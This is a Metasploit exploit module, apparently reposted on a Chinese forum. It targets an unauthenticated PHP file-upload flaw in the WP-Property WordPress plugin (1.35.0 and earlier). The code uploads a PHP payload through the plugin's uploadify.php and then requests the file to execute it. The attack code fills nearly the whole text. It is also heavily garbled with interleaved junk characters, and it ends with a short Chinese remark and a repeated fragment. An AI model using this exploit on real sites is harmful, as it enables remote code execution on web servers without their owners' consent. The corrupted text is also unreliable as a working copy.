) a6 y h/ Z t6 z5 B ## # This file is part of the Metasploit Framework and may be subject to( M: \8 K) \4 J% ^5 c8 x9 U
- u; m# B) T, b9 c8 H, |
# redistribution and commercial restrictions. Please see the Metasploit 5 J% m% W- B; \7 O4 U# ]4 P, E+ j( d! Z
# Framework web site for more information on licensing and terms of use.6 f% j9 f3 J; y! _1 u1 W2 V! Q6 n
' g h2 |/ b+ x2 E5 w0 w9 \
# http://metasploit.com/framework/ ##; L* |( H7 N' u) \" m
( U+ r/ }$ m( e7 z
6 r Q3 [9 R0 H/ I: @& q2 w8 c
* I6 B2 F5 X& d
9 D; S9 Z6 t4 r6 D3 _) _3 w# T" N8 [, Z& d6 Q
require 'msf/core'0 n+ Q6 c- m" x. b) t
require 'msf/core/exploit/php_exe' 3 D" E$ i' @2 y5 _; @' @/ n* u, s3 I$ h9 d+ k
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit:hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability', 1 R& i, }8 i0 X'Description' => %q{ ( Q* B. {' g7 v2 ]This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>7 D0 w0 R* e0 K
[# h/ L$ \; Z3 ?( c4 P
'Sammy FORGIT', # initial discovery ; d" h2 K8 f+ M) Z, j) k'James Fitts <fitts.james[at]gmail.com>' # metasploit module3 v: ^6 r! X8 S" S& B
],% y, Z! w8 g3 e8 d$ ]$ L9 W+ h
'License' => MSF_LICENSE,3 V- p/ B9 p" |* C
'References' =>- F' @& C3 v% V4 J
[ 4 _ d; H: `" I+ j4 s9 ?[ 'OSVDB', '82656' ], L6 R, k# ~4 ?. H8 p% m# z( q
[ 'BID', '53787' ], 8 Z6 B3 @, i! P3 e" O7 O[ 'EDB', '18987'],: U2 y1 T2 \/ v
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]3 T1 n. }2 \+ L: A
], / S7 X s7 c# b, X1 o'Payload' => . |5 @, a H+ d C) k) @{ 6 q! Y! S i1 M2 U" g'BadChars' => "\x00", & \: N% P2 S4 V; N! }}, ' ~4 w8 Q3 u3 N! ]'Platform' => 'php', 2 G" b+ e1 M- K e'Arch' => ARCH_PHP,0 z3 a4 }) F0 s5 X* ^$ y1 M7 u" m% Y/ n
'Targets' => " }4 O5 a2 R" ` a2 O9 X[ 9 q/ M! G$ f. x% h8 |% m4 U: F! o[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], 4 q0 ]9 U8 h! T: c[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]7 ` {# ]! ]/ h
], 0 W1 I0 i% n+ }7 L) y'DefaultTarget' => 0, & Y5 E6 ~$ `) R# w'DisclosureDate' => 'Mar 26 2012')) , v, V3 P5 i. t ; L# l# T3 d4 r+ X6 c* j4 iregister_options(, G7 e2 s0 M4 F1 }
[! J$ D/ h/ H* u( v
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']) # J' p+ |7 p: ^8 U9 m! J6 k7 n], self.class), [- F7 a! c' @! r
end - f* U5 h; z. n& L; e0 r H" @/ J% T. S! z. a' V8 i) V8 [
def check5 X! [( y0 {5 x1 x. T* T
uri = target_uri.path' H- k5 t' d) P
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',/ o( ?) Q* F9 ^ f
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php" ( K: D; m$ k; i; w. j$ Y/ X8 q})/ }" b8 s6 _% t# t5 }, T
/ z# K$ q( Q. ]7 R9 I% P! Gif not res or res.code != 200 * W9 s- ?. ^% k, p: c+ f' V) freturn Exploit::CheckCode::Unknown' H' [% `2 O) E
end ! E4 h) r c5 P0 }0 q' O, E& ~) x; M# W0 h% I- x
return Exploit::CheckCode::Appears7 A8 @) f8 N1 L. h
end5 `1 I2 a+ N( e9 X# O( p" R4 F3 ?9 ~
- H) U) J0 P& G7 E! g
def exploit& _5 t9 u' x" W' w; f, |. A
uri = target_uri.path; A; y+ o0 E$ w2 B
uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true) . [$ i) M" L( |% z) k5 V# t+ v2 U' s, z3 M8 [
data = Rex::MIME::Message.new1 V y$ P4 K4 }; E( p
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"") % r: R, K4 |' M7 b% k- v idata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")# m% i2 C4 F! `. Q( O
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') , Q: _" }6 c, r7 R6 W3 l! B- K7 `# w
print_status("#{peer} - Uploading payload #{@payload_name}")# ^$ x" h5 V2 D% r2 w
res = send_request_cgi({ ; w7 d9 m( h8 y; {: \2 E, E'method' => 'POST', ; L: a) A1 c4 F, H' f/ e+ ~'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php", / V% V9 r' C4 x( \'ctype' => "multipart/form-data; boundary=#{data.bound}",! v! R1 J( U7 z/ g1 B/ d
'data' => post_data & |1 b. a+ V' x3 J; J2 e- W( C7 H' j})( z8 Z4 A$ n8 L- O( g9 X; y% r
" l+ t& j% G+ g5 gif not res or res.code != 200 or res.body !~ /#{@payload_name}/ # [- S. S/ c9 b$ Dfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed"), P* k$ w, o3 s( ^- [8 R7 u
end 8 d% f5 s$ u# S3 o0 u: M8 x0 T7 o! N0 Q& z( j) v8 D' A& D
upload_uri = res.body # ]7 a) ^! I4 ?8 T/ B1 _% \0 I& W0 |
print_status("#{peer} - Executing payload #{@payload_name}") & }3 A. T: _+ S% i0 Lres = send_request_raw({ , G2 Z7 i1 }) m8 a: M, A6 A'uri' => upload_uri, 6 @/ v( m, b2 L6 m& K) k'method' => 'GET' M+ g" D4 g# I) y})* V5 k+ ?* o! t" z$ s+ {# p
end& T$ r* v1 K& V& C M# W5 ?* a0 h
end- q) `% Z4 s# D2 j" a0 q
4 u M) X X) `, a1 S2 h
不要问我这写的是什么 怎么利用 我是说msf.) H' e1 L/ B% m! F
hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',